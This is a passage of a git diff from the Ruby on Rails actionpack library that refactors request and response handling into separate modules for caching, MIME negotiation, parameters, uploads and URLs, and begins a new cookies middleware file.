+ autoload :Upload
+ autoload :UploadedFile, 'action_dispatch/http/upload'
+ autoload :URL
end
module Session
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
new file mode 100644
index 0000000000..428e62dc6b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -0,0 +1,123 @@
+module ActionDispatch
+ module Http
+ module Cache
+ module Request
+ def if_modified_since
+ if since = env['HTTP_IF_MODIFIED_SINCE']
+ Time.rfc2822(since) rescue nil
+ end
+ end
+
+ def if_none_match
+ env['HTTP_IF_NONE_MATCH']
+ end
+
+ def not_modified?(modified_at)
+ if_modified_since && modified_at && if_modified_since >= modified_at
+ end
+
+ def etag_matches?(etag)
+ if_none_match && if_none_match == etag
+ end
+
+ # Check response freshness (Last-Modified and ETag) against request
+ # If-Modified-Since and If-None-Match conditions. If both headers are
+ # supplied, both must match, or the request is not considered fresh.
+ def fresh?(response)
+ last_modified = if_modified_since
+ etag = if_none_match
+
+ return false unless last_modified || etag
+
+ success = true
+ success &&= not_modified?(response.last_modified) if last_modified
+ success &&= etag_matches?(response.etag) if etag
+ success
+ end
+ end
+
+ module Response
+ def cache_control
+ @cache_control ||= {}
+ end
+
+ def last_modified
+ if last = headers['Last-Modified']
+ Time.httpdate(last)
+ end
+ end
+
+ def last_modified?
+ headers.include?('Last-Modified')
+ end
+
+ def last_modified=(utc_time)
+ headers['Last-Modified'] = utc_time.httpdate
+ end
+
+ def etag
+ @etag
+ end
+
+ def etag?
+ @etag
+ end
+
+ def etag=(etag)
+ key = ActiveSupport::Cache.expand_cache_key(etag)
+ @etag = %("#{Digest::MD5.hexdigest(key)}")
+ end
+
+ private
+
+ def handle_conditional_get!
+ if etag? || last_modified? || !@cache_control.empty?
+ set_conditional_cache_control!
+ elsif nonempty_ok_response?
+ self.etag = @body
+
+ if request && request.etag_matches?(etag)
+ self.status = 304
+ self.body = []
+ end
+
+ set_conditional_cache_control!
+ else
+ headers["Cache-Control"] = "no-cache"
+ end
+ end
+
+ def nonempty_ok_response?
+ @status == 200 && string_body?
+ end
+
+ def string_body?
+ !@blank && @body.respond_to?(:all?) && @body.all? { |part| part.is_a?(String) }
+ end
+
+ DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate"
+
+ def set_conditional_cache_control!
+ control = @cache_control
+
+ if control.empty?
+ headers["Cache-Control"] = DEFAULT_CACHE_CONTROL
+ elsif @cache_control[:no_cache]
+ headers["Cache-Control"] = "no-cache"
+ else
+ extras = control[:extras]
+ max_age = control[:max_age]
+
+ options = []
+ options << "max-age=#{max_age.to_i}" if max_age
+ options << (control[:public] ? "public" : "private")
+ options << "must-revalidate" if control[:must_revalidate]
+ options.concat(extras) if extras
+
+ headers["Cache-Control"] = options.join(", ")
+ end
+ end
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
new file mode 100644
index 0000000000..40617e239a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -0,0 +1,101 @@
+module ActionDispatch
+ module Http
+ module MimeNegotiation
+ # The MIME type of the HTTP request, such as Mime::XML.
+ #
+ # For backward compatibility, the post \format is extracted from the
+ # X-Post-Data-Format HTTP header if present.
+ def content_type
+ @env["action_dispatch.request.content_type"] ||= begin
+ if @env['CONTENT_TYPE'] =~ /^([^,\;]*)/
+ Mime::Type.lookup($1.strip.downcase)
+ else
+ nil
+ end
+ end
+ end
+
+ # Returns the accepted MIME type for the request.
+ def accepts
+ @env["action_dispatch.request.accepts"] ||= begin
+ header = @env['HTTP_ACCEPT'].to_s.strip
+
+ if header.empty?
+ [content_type]
+ else
+ Mime::Type.parse(header)
+ end
+ end
+ end
+
+ # Returns the Mime type for the \format used in the request.
+ #
+ # GET /posts/5.xml | request.format => Mime::XML
+ # GET /posts/5.xhtml | request.format => Mime::HTML
+ # GET /posts/5 | request.format => Mime::HTML or MIME::JS, or request.accepts.first depending on the value of <tt>ActionController::Base.use_accept_header</tt>
+ #
+ def format(view_path = [])
+ formats.first
+ end
+
+ def formats
+ accept = @env['HTTP_ACCEPT']
+
+ @env["action_dispatch.request.formats"] ||=
+ if parameters[:format]
+ Array(Mime[parameters[:format]])
+ elsif xhr? || (accept && !accept.include?(?,))
+ accepts
+ else
+ [Mime::HTML]
+ end
+ end
+
+ # Sets the \format by string extension, which can be used to force custom formats
+ # that are not controlled by the extension.
+ #
+ # class ApplicationController < ActionController::Base
+ # before_filter :adjust_format_for_iphone
+ #
+ # private
+ # def adjust_format_for_iphone
+ # request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
+ # end
+ # end
+ def format=(extension)
+ parameters[:format] = extension.to_s
+ @env["action_dispatch.request.formats"] = [Mime::Type.lookup_by_extension(parameters[:format])]
+ end
+
+ # Returns a symbolized version of the <tt>:format</tt> parameter of the request.
+ # If no \format is given it returns <tt>:js</tt>for Ajax requests and <tt>:html</tt>
+ # otherwise.
+ def template_format
+ parameter_format = parameters[:format]
+
+ if parameter_format
+ parameter_format
+ elsif xhr?
+ :js
+ else
+ :html
+ end
+ end
+
+ # Receives an array of mimes and return the first user sent mime that
+ # matches the order array.
+ #
+ def negotiate_mime(order)
+ formats.each do |priority|
+ if priority == Mime::ALL
+ return order.first
+ elsif order.include?(priority)
+ return priority
+ end
+ end
+
+ order.include?(Mime::ALL) ? formats.first : nil
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
new file mode 100644
index 0000000000..97546d5f93
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -0,0 +1,50 @@
+require 'active_support/core_ext/hash/keys'
+
+module ActionDispatch
+ module Http
+ module Parameters
+ # Returns both GET and POST \parameters in a single hash.
+ def parameters
+ @env["action_dispatch.request.parameters"] ||= request_parameters.merge(query_parameters).update(path_parameters).with_indifferent_access
+ end
+ alias :params :parameters
+
+ def path_parameters=(parameters) #:nodoc:
+ @env.delete("action_dispatch.request.symbolized_path_parameters")
+ @env.delete("action_dispatch.request.parameters")
+ @env["action_dispatch.request.path_parameters"] = parameters
+ end
+
+ # The same as <tt>path_parameters</tt> with explicitly symbolized keys.
+ def symbolized_path_parameters
+ @env["action_dispatch.request.symbolized_path_parameters"] ||= path_parameters.symbolize_keys
+ end
+
+ # Returns a hash with the \parameters used to form the \path of the request.
+ # Returned hash keys are strings:
+ #
+ # {'action' => 'my_action', 'controller' => 'my_controller'}
+ #
+ # See <tt>symbolized_path_parameters</tt> for symbolized keys.
+ def path_parameters
+ @env["action_dispatch.request.path_parameters"] ||= {}
+ end
+
+ private
+
+ # Convert nested Hashs to HashWithIndifferentAccess
+ def normalize_parameters(value)
+ case value
+ when Hash
+ h = {}
+ value.each { |k, v| h[k] = normalize_parameters(v) }
+ h.with_indifferent_access
+ when Array
+ value.map { |e| normalize_parameters(e) }
+ else
+ value
+ end
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index 22a08ec10d..187ce7c15d 100755
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -2,14 +2,17 @@ require 'tempfile'
require 'stringio'
require 'strscan'
-require 'active_support/memoizable'
-require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/hash/indifferent_access'
require 'active_support/core_ext/string/access'
require 'action_dispatch/http/headers'
module ActionDispatch
class Request < Rack::Request
+ include ActionDispatch::Http::Cache::Request
+ include ActionDispatch::Http::MimeNegotiation
+ include ActionDispatch::Http::Parameters
+ include ActionDispatch::Http::Upload
+ include ActionDispatch::Http::URL
%w[ AUTH_TYPE GATEWAY_INTERFACE
PATH_TRANSLATED REMOTE_HOST
@@ -19,9 +22,11 @@ module ActionDispatch
HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM
HTTP_NEGOTIATE HTTP_PRAGMA ].each do |env|
- define_method(env.sub(/^HTTP_/n, '').downcase) do
- @env[env]
- end
+ class_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{env.sub(/^HTTP_/n, '').downcase}
+ @env["#{env}"]
+ end
+ METHOD
end
def key?(key)
@@ -81,25 +86,6 @@ module ActionDispatch
Http::Headers.new(@env)
end
- # Returns the content length of the request as an integer.
- def content_length
- super.to_i
- end
-
- # The MIME type of the HTTP request, such as Mime::XML.
- #
- # For backward compatibility, the post \format is extracted from the
- # X-Post-Data-Format HTTP header if present.
- def content_type
- @env["action_dispatch.request.content_type"] ||= begin
- if @env['CONTENT_TYPE'] =~ /^([^,\;]*)/
- Mime::Type.lookup($1.strip.downcase)
- else
- nil
- end
- end
- end
-
def forgery_whitelisted?
method == :get || xhr? || content_type.nil? || !content_type.verify_request?
end
@@ -108,104 +94,9 @@ module ActionDispatch
content_type.to_s
end
- # Returns the accepted MIME type for the request.
- def accepts
- @env["action_dispatch.request.accepts"] ||= begin
- header = @env['HTTP_ACCEPT'].to_s.strip
-
- if header.empty?
- [content_type]
- else
- Mime::Type.parse(header)
- end
- end
- end
-
- def if_modified_since
- if since = env['HTTP_IF_MODIFIED_SINCE']
- Time.rfc2822(since) rescue nil
- end
- end
-
- def if_none_match
- env['HTTP_IF_NONE_MATCH']
- end
-
- def not_modified?(modified_at)
- if_modified_since && modified_at && if_modified_since >= modified_at
- end
-
- def etag_matches?(etag)
- if_none_match && if_none_match == etag
- end
-
- # Check response freshness (Last-Modified and ETag) against request
- # If-Modified-Since and If-None-Match conditions. If both headers are
- # supplied, both must match, or the request is not considered fresh.
- def fresh?(response)
- last_modified = if_modified_since
- etag = if_none_match
-
- return false unless last_modified || etag
-
- success = true
- success &&= not_modified?(response.last_modified) if last_modified
- success &&= etag_matches?(response.etag) if etag
- success
- end
-
- # Returns the Mime type for the \format used in the request.
- #
- # GET /posts/5.xml | request.format => Mime::XML
- # GET /posts/5.xhtml | request.format => Mime::HTML
- # GET /posts/5 | request.format => Mime::HTML or MIME::JS, or request.accepts.first depending on the value of <tt>ActionController::Base.use_accept_header</tt>
- #
- def format(view_path = [])
- formats.first
- end
-
- def formats
- accept = @env['HTTP_ACCEPT']
-
- @env["action_dispatch.request.formats"] ||=
- if parameters[:format]
- Array.wrap(Mime[parameters[:format]])
- elsif xhr? || (accept && !accept.include?(?,))
- accepts
- else
- [Mime::HTML]
- end
- end
-
- # Sets the \format by string extension, which can be used to force custom formats
- # that are not controlled by the extension.
- #
- # class ApplicationController < ActionController::Base
- # before_filter :adjust_format_for_iphone
- #
- # private
- # def adjust_format_for_iphone
- # request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
- # end
- # end
- def format=(extension)
- parameters[:format] = extension.to_s
- @env["action_dispatch.request.formats"] = [Mime::Type.lookup_by_extension(parameters[:format])]
- end
-
- # Returns a symbolized version of the <tt>:format</tt> parameter of the request.
- # If no \format is given it returns <tt>:js</tt>for Ajax requests and <tt>:html</tt>
- # otherwise.
- def template_format
- parameter_format = parameters[:format]
-
- if parameter_format
- parameter_format
- elsif xhr?
- :js
- else
- :html
- end
+ # Returns the content length of the request as an integer.
+ def content_length
+ super.to_i
end
# Returns true if the request's "X-Requested-With" header contains
@@ -238,7 +129,7 @@ module ActionDispatch
if @env.include? 'HTTP_CLIENT_IP'
if ActionController::Base.ip_spoofing_check && remote_ips && !remote_ips.include?(@env['HTTP_CLIENT_IP'])
# We don't know which came from the proxy, and which from the user
- raise ActionController::ActionControllerError.new(<<EOM)
+ raise ActionController::ActionControllerError.new <<EOM
IP spoofing attack?!
HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}
HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}
@@ -264,124 +155,6 @@ EOM
(@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil
end
- # Returns the complete URL used for this request.
- def url
- protocol + host_with_port + request_uri
- end
-
- # Returns 'https://' if this is an SSL request and 'http://' otherwise.
- def protocol
- ssl? ? 'https://' : 'http://'
- end
-
- # Is this an SSL request?
- def ssl?
- @env['HTTPS'] == 'on' || @env['HTTP_X_FORWARDED_PROTO'] == 'https'
- end
-
- # Returns the \host for this request, such as "example.com".
- def raw_host_with_port
- if forwarded = env["HTTP_X_FORWARDED_HOST"]
- forwarded.split(/,\s?/).last
- else
- env['HTTP_HOST'] || "#{env['SERVER_NAME'] || env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
- end
- end
-
- # Returns the host for this request, such as example.com.
- def host
- raw_host_with_port.sub(/:\d+$/, '')
- end
-
- # Returns a \host:\port string for this request, such as "example.com" or
- # "example.com:8080".
- def host_with_port
- "#{host}#{port_string}"
- end
-
- # Returns the port number of this request as an integer.
- def port
- if raw_host_with_port =~ /:(\d+)$/
- $1.to_i
- else
- standard_port
- end
- end
-
- # Returns the standard \port number for this request's protocol.
- def standard_port
- case protocol
- when 'https://' then 443
- else 80
- end
- end
-
- # Returns a \port suffix like ":8080" if the \port number of this request
- # is not the default HTTP \port 80 or HTTPS \port 443.
- def port_string
- port == standard_port ? '' : ":#{port}"
- end
-
- def server_port
- @env['SERVER_PORT'].to_i
- end
-
- # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify
- # a different <tt>tld_length</tt>, such as 2 to catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
- def domain(tld_length = 1)
- return nil unless named_host?(host)
-
- host.split('.').last(1 + tld_length).join('.')
- end
-
- # Returns all the \subdomains as an array, so <tt>["dev", "www"]</tt> would be
- # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
- # such as 2 to catch <tt>["www"]</tt> instead of <tt>["www", "rubyonrails"]</tt>
- # in "www.rubyonrails.co.uk".
- def subdomains(tld_length = 1)
- return [] unless named_host?(host)
- parts = host.split('.')
- parts[0..-(tld_length+2)]
- end
-
- # Returns the query string, accounting for server idiosyncrasies.
- def query_string
- @env['QUERY_STRING'].present? ? @env['QUERY_STRING'] : (@env['REQUEST_URI'].to_s.split('?', 2)[1] || '')
- end
-
- # Returns the request URI, accounting for server idiosyncrasies.
- # WEBrick includes the full URL. IIS leaves REQUEST_URI blank.
- def request_uri
- if uri = @env['REQUEST_URI']
- # Remove domain, which webrick puts into the request_uri.
- (%r{^\w+\://[^/]+(/.*|$)$} =~ uri) ? $1 : uri
- else
- # Construct IIS missing REQUEST_URI from SCRIPT_NAME and PATH_INFO.
- uri = @env['PATH_INFO'].to_s
-
- if script_filename = @env['SCRIPT_NAME'].to_s.match(%r{[^/]+$})
- uri = uri.sub(/#{script_filename}\//, '')
- end
-
- env_qs = @env['QUERY_STRING'].to_s
- uri += "?#{env_qs}" unless env_qs.empty?
-
- if uri.blank?
- @env.delete('REQUEST_URI')
- else
- @env['REQUEST_URI'] = uri
- end
- end
- end
-
- # Returns the interpreted \path to requested resource after all the installation
- # directory of this application was taken into account.
- def path
- path = request_uri.to_s[/\A[^\?]*/]
- path.sub!(/\A#{ActionController::Base.relative_url_root}/, '')
- path
- end
-
# Read the request \body. This is useful for web services that need to
# work with raw requests directly.
def raw_post
@@ -392,33 +165,6 @@ EOM
@env['RAW_POST_DATA']
end
- # Returns both GET and POST \parameters in a single hash.
- def parameters
- @env["action_dispatch.request.parameters"] ||= request_parameters.merge(query_parameters).update(path_parameters).with_indifferent_access
- end
- alias_method :params, :parameters
-
- def path_parameters=(parameters) #:nodoc:
- @env.delete("action_dispatch.request.symbolized_path_parameters")
- @env.delete("action_dispatch.request.parameters")
- @env["action_dispatch.request.path_parameters"] = parameters
- end
-
- # The same as <tt>path_parameters</tt> with explicitly symbolized keys.
- def symbolized_path_parameters
- @env["action_dispatch.request.symbolized_path_parameters"] ||= path_parameters.symbolize_keys
- end
-
- # Returns a hash with the \parameters used to form the \path of the request.
- # Returned hash keys are strings:
- #
- # {'action' => 'my_action', 'controller' => 'my_controller'}
- #
- # See <tt>symbolized_path_parameters</tt> for symbolized keys.
- def path_parameters
- @env["action_dispatch.request.path_parameters"] ||= {}
- end
-
# The request body is an IO input stream. If the RAW_POST_DATA environment
# variable is already set, wrap it in a StringIO.
def body
@@ -434,18 +180,6 @@ EOM
FORM_DATA_MEDIA_TYPES.include?(content_type.to_s)
end
- # Override Rack's GET method to support indifferent access
- def GET
- @env["action_dispatch.request.query_parameters"] ||= normalize_parameters(super)
- end
- alias_method :query_parameters, :GET
-
- # Override Rack's POST method to support indifferent access
- def POST
- @env["action_dispatch.request.request_parameters"] ||= normalize_parameters(super)
- end
- alias_method :request_parameters, :POST
-
def body_stream #:nodoc:
@env['rack.input']
end
@@ -463,6 +197,19 @@ EOM
@env['rack.session.options'] = options
end
+ # Override Rack's GET method to support indifferent access
+ def GET
+ @env["action_dispatch.request.query_parameters"] ||= normalize_parameters(super)
+ end
+ alias :query_parameters :GET
+
+ # Override Rack's POST method to support indifferent access
+ def POST
+ @env["action_dispatch.request.request_parameters"] ||= normalize_parameters(super)
+ end
+ alias :request_parameters :POST
+
+
# Returns the authorization header regardless of whether it was specified directly or through one of the
# proxy alternatives.
def authorization
@@ -471,77 +218,5 @@ EOM
@env['X_HTTP_AUTHORIZATION'] ||
@env['REDIRECT_X_HTTP_AUTHORIZATION']
end
-
- # Receives an array of mimes and return the first user sent mime that
- # matches the order array.
- #
- def negotiate_mime(order)
- formats.each do |priority|
- if priority == Mime::ALL
- return order.first
- elsif order.include?(priority)
- return priority
- end
- end
-
- order.include?(Mime::ALL) ? formats.first : nil
- end
-
- private
-
- def named_host?(host)
- !(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
- end
-
- module UploadedFile
- def self.extended(object)
- object.class_eval do
- attr_accessor :original_path, :content_type
- alias_method :local_path, :path if method_defined?(:path)
- end
- end
-
- # Take the basename of the upload's original filename.
- # This handles the full Windows paths given by Internet Explorer
- # (and perhaps other broken user agents) without affecting
- # those which give the lone filename.
- # The Windows regexp is adapted from Perl's File::Basename.
- def original_filename
- unless defined? @original_filename
- @original_filename =
- unless original_path.blank?
- if original_path =~ /^(?:.*[:\\\/])?(.*)/m
- $1
- else
- File.basename original_path
- end
- end
- end
- @original_filename
- end
- end
-
- # Convert nested Hashs to HashWithIndifferentAccess and replace
- # file upload hashs with UploadedFile objects
- def normalize_parameters(value)
- case value
- when Hash
- if value.has_key?(:tempfile)
- upload = value[:tempfile]
- upload.extend(UploadedFile)
- upload.original_path = value[:filename]
- upload.content_type = value[:type]
- upload
- else
- h = {}
- value.each { |k, v| h[k] = normalize_parameters(v) }
- h.with_indifferent_access
- end
- when Array
- value.map { |e| normalize_parameters(e) }
- else
- value
- end
- end
end
end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index 8524bbd993..f299306ff4 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -32,6 +32,8 @@ module ActionDispatch # :nodoc:
# end
# end
class Response < Rack::Response
+ include ActionDispatch::Http::Cache::Response
+
attr_accessor :request, :blank
attr_writer :header, :sending_file
@@ -55,10 +57,6 @@ module ActionDispatch # :nodoc:
yield self if block_given?
end
- def cache_control
- @cache_control ||= {}
- end
-
def status=(status)
@status = Rack::Utils.status_code(status)
end
@@ -114,33 +112,6 @@ module ActionDispatch # :nodoc:
# information.
attr_accessor :charset, :content_type
- def last_modified
- if last = headers['Last-Modified']
- Time.httpdate(last)
- end
- end
-
- def last_modified?
- headers.include?('Last-Modified')
- end
-
- def last_modified=(utc_time)
- headers['Last-Modified'] = utc_time.httpdate
- end
-
- def etag
- @etag
- end
-
- def etag?
- @etag
- end
-
- def etag=(etag)
- key = ActiveSupport::Cache.expand_cache_key(etag)
- @etag = %("#{Digest::MD5.hexdigest(key)}")
- end
-
CONTENT_TYPE = "Content-Type"
cattr_accessor(:default_charset) { "utf-8" }
@@ -148,7 +119,7 @@ module ActionDispatch # :nodoc:
def to_a
assign_default_content_type_and_charset!
handle_conditional_get!
- self["Set-Cookie"] = @cookie.join("\n")
+ self["Set-Cookie"] = @cookie.join("\n") unless @cookie.blank?
self["ETag"] = @etag if @etag
super
end
@@ -222,31 +193,6 @@ module ActionDispatch # :nodoc:
end
private
- def handle_conditional_get!
- if etag? || last_modified? || !@cache_control.empty?
- set_conditional_cache_control!
- elsif nonempty_ok_response?
- self.etag = @body
-
- if request && request.etag_matches?(etag)
- self.status = 304
- self.body = []
- end
-
- set_conditional_cache_control!
- else
- headers["Cache-Control"] = "no-cache"
- end
- end
-
- def nonempty_ok_response?
- @status == 200 && string_body?
- end
-
- def string_body?
- !@blank && @body.respond_to?(:all?) && @body.all? { |part| part.is_a?(String) }
- end
-
def assign_default_content_type_and_charset!
return if headers[CONTENT_TYPE].present?
@@ -259,27 +205,5 @@ module ActionDispatch # :nodoc:
headers[CONTENT_TYPE] = type
end
- DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate"
-
- def set_conditional_cache_control!
- control = @cache_control
-
- if control.empty?
- headers["Cache-Control"] = DEFAULT_CACHE_CONTROL
- elsif @cache_control[:no_cache]
- headers["Cache-Control"] = "no-cache"
- else
- extras = control[:extras]
- max_age = control[:max_age]
-
- options = []
- options << "max-age=#{max_age.to_i}" if max_age
- options << (control[:public] ? "public" : "private")
- options << "must-revalidate" if control[:must_revalidate]
- options.concat(extras) if extras
-
- headers["Cache-Control"] = options.join(", ")
- end
- end
end
end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
new file mode 100644
index 0000000000..dc6121b911
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -0,0 +1,48 @@
+module ActionDispatch
+ module Http
+ module UploadedFile
+ def self.extended(object)
+ object.class_eval do
+ attr_accessor :original_path, :content_type
+ alias_method :local_path, :path if method_defined?(:path)
+ end
+ end
+
+ # Take the basename of the upload's original filename.
+ # This handles the full Windows paths given by Internet Explorer
+ # (and perhaps other broken user agents) without affecting
+ # those which give the lone filename.
+ # The Windows regexp is adapted from Perl's File::Basename.
+ def original_filename
+ unless defined? @original_filename
+ @original_filename =
+ unless original_path.blank?
+ if original_path =~ /^(?:.*[:\\\/])?(.*)/m
+ $1
+ else
+ File.basename original_path
+ end
+ end
+ end
+ @original_filename
+ end
+ end
+
+ module Upload
+ # Convert nested Hashs to HashWithIndifferentAccess and replace
+ # file upload hashs with UploadedFile objects
+ def normalize_parameters(value)
+ if Hash === value && value.has_key?(:tempfile)
+ upload = value[:tempfile]
+ upload.extend(UploadedFile)
+ upload.original_path = value[:filename]
+ upload.content_type = value[:type]
+ upload
+ else
+ super
+ end
+ end
+ private :normalize_parameters
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
new file mode 100644
index 0000000000..40ceb5a9b6
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -0,0 +1,129 @@
+module ActionDispatch
+ module Http
+ module URL
+ # Returns the complete URL used for this request.
+ def url
+ protocol + host_with_port + request_uri
+ end
+
+ # Returns 'https://' if this is an SSL request and 'http://' otherwise.
+ def protocol
+ ssl? ? 'https://' : 'http://'
+ end
+
+ # Is this an SSL request?
+ def ssl?
+ @env['HTTPS'] == 'on' || @env['HTTP_X_FORWARDED_PROTO'] == 'https'
+ end
+
+ # Returns the \host for this request, such as "example.com".
+ def raw_host_with_port
+ if forwarded = env["HTTP_X_FORWARDED_HOST"]
+ forwarded.split(/,\s?/).last
+ else
+ env['HTTP_HOST'] || "#{env['SERVER_NAME'] || env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
+ end
+ end
+
+ # Returns the host for this request, such as example.com.
+ def host
+ raw_host_with_port.sub(/:\d+$/, '')
+ end
+
+ # Returns a \host:\port string for this request, such as "example.com" or
+ # "example.com:8080".
+ def host_with_port
+ "#{host}#{port_string}"
+ end
+
+ # Returns the port number of this request as an integer.
+ def port
+ if raw_host_with_port =~ /:(\d+)$/
+ $1.to_i
+ else
+ standard_port
+ end
+ end
+
+ # Returns the standard \port number for this request's protocol.
+ def standard_port
+ case protocol
+ when 'https://' then 443
+ else 80
+ end
+ end
+
+ # Returns a \port suffix like ":8080" if the \port number of this request
+ # is not the default HTTP \port 80 or HTTPS \port 443.
+ def port_string
+ port == standard_port ? '' : ":#{port}"
+ end
+
+ def server_port
+ @env['SERVER_PORT'].to_i
+ end
+
+ # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify
+ # a different <tt>tld_length</tt>, such as 2 to catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
+ def domain(tld_length = 1)
+ return nil unless named_host?(host)
+
+ host.split('.').last(1 + tld_length).join('.')
+ end
+
+ # Returns all the \subdomains as an array, so <tt>["dev", "www"]</tt> would be
+ # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
+ # such as 2 to catch <tt>["www"]</tt> instead of <tt>["www", "rubyonrails"]</tt>
+ # in "www.rubyonrails.co.uk".
+ def subdomains(tld_length = 1)
+ return [] unless named_host?(host)
+ parts = host.split('.')
+ parts[0..-(tld_length+2)]
+ end
+
+ # Returns the query string, accounting for server idiosyncrasies.
+ def query_string
+ @env['QUERY_STRING'].present? ? @env['QUERY_STRING'] : (@env['REQUEST_URI'].to_s.split('?', 2)[1] || '')
+ end
+
+ # Returns the request URI, accounting for server idiosyncrasies.
+ # WEBrick includes the full URL. IIS leaves REQUEST_URI blank.
+ def request_uri
+ if uri = @env['REQUEST_URI']
+ # Remove domain, which webrick puts into the request_uri.
+ (%r{^\w+\://[^/]+(/.*|$)$} =~ uri) ? $1 : uri
+ else
+ # Construct IIS missing REQUEST_URI from SCRIPT_NAME and PATH_INFO.
+ uri = @env['PATH_INFO'].to_s
+
+ if script_filename = @env['SCRIPT_NAME'].to_s.match(%r{[^/]+$})
+ uri = uri.sub(/#{script_filename}\//, '')
+ end
+
+ env_qs = @env['QUERY_STRING'].to_s
+ uri += "?#{env_qs}" unless env_qs.empty?
+
+ if uri.blank?
+ @env.delete('REQUEST_URI')
+ else
+ @env['REQUEST_URI'] = uri
+ end
+ end
+ end
+
+ # Returns the interpreted \path to requested resource after all the installation
+ # directory of this application was taken into account.
+ def path
+ path = request_uri.to_s[/\A[^\?]*/]
+ path.sub!(/\A#{ActionController::Base.relative_url_root}/, '')
+ path
+ end
+
+ private
+
+ def named_host?(host)
+ !(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
index 5ec406e134..d07841218a 100644
--- a/actionpack/lib/action_dispatch/middleware/callbacks.rb
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -45,8 +45,6 @@ module ActionDispatch
run_callbacks(:prepare) if @prepare_each_request
@app.call(env)
end
- ensure
- ActiveSupport::Notifications.instrument "action_dispatch.callback"
end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
new file mode 100644
index 0000000000..0dc03a1a7e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -0,0 +1,216 @@
+module ActionDispatch
+ class Request
+ def cookie_jar
+ env['action_dispatch.cookies'] ||= Cookies::CookieJar.build(self)
+ end
+ end
+
+ # Cookies are read and written through ActionController#cookies.
+ #
+ # The cookies being read are the ones received along with the request, the cookies
+ # being written will be sent out with the response. Reading a cookie does not get
+ # the cookie object itself back, just the value it holds.
+ #
+ # Examples for writing:
+ #
+ # # Sets a simple session cookie.
+ # cookies[:user_name] = "david"
+ #
+ # # Sets a cookie that expires in 1 hour.
+ # cookies[:login] = { :value => "XJ-122", :expires => 1.hour.from_now }
+ #
+ # Examples for reading:
+ #
+ # cookies[:user_name] # => "david"
+ # cookies.size # => 2
+ #
+ # Example for deleting:
+ #
+ # cookies.delete :user_name
+ #
+ # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
+ #
+ # cookies[:key] = {
+ # :value => 'a yummy cookie',
+ # :expires => 1.year.from_now,
+ # :domain => 'domain.com'
+ # }
+ #
+ # cookies.delete(:key, :domain => 'domain.com')
+ #
+ # The option symbols for setting cookies are:
+ #
+ # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+ # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
+ # of the application.
+ # * <tt>:domain</tt> - The domain for which this cookie applies.
+ # * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
+ # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
+ # Default is +false+.
+ # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
+ # only HTTP. Defaults to +false+.
+ class Cookies
+ class CookieJar < Hash #:nodoc:
+ def self.build(request)
+ new.tap do |hash|
+ hash.update(request.cookies)
+ end
+ end
+
+ def initialize
+ @set_cookies = {}
+ @delete_cookies = {}
+
+ super
+ end
+
+ # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
+ def [](name)
+ super(name.to_s)
+ end
+
+ # Sets the cookie named +name+. The second argument may be the very cookie
